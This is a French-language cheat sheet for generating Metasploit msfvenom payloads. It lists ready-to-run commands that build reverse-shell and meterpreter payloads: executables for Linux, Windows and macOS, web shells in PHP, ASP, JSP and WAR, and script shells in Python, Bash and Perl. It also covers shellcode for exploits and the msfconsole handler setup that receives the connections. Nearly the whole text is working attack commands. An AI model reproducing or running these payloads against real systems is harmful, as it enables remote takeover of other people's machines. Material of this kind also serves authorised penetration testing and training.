Générer un payload avec metasploit
1.Presentation
Msfvenom est un logiciel du framework metasploit.
Il permet de générer , encoder , packer des payloads.
Lister les payloads disponibles
msfvenom -l
Générer des binaires
Pour Linux :
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f elf > shell.elf
Pour Windows :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f exe > shell.exe
Pour Mac :
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f macho > shell.macho
Générer des payloads pour le web
En PHP :
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f raw > shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
En ASP :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f asp > shell.asp
En JSP :
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f raw > shell.jsp
En WAR :
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f war > shell.war
Générer des payloads pour des langages de scripte
En Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f raw > shell.py
En Bash :
msfvenom -p cmd/unix/reverse_bash LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f raw > shell.sh
En Perl :
msfvenom -p cmd/unix/reverse_perl LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f raw > shell.pl
Générer un shellcode
Les shellcodes sont à insérer dans votre exploit.
Shellcode basé sur Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f <language>
Shellcode basé sur windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f <language>
Shellcode basé sur Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Votre adresse ip> LPORT=<Votre port d'écoute local> -f <language>
Mise en place du handler
Le handler permet de recevoir la connexion initier par votre payload.
Dans msfconsole : use exploit/multi/handler set PAYLOAD <Payload name> set LHOST <LHOST value> set LPORT <LPORT value> set ExitOnSession false exploit -j -z
Source : http://netsec.ws/?p=331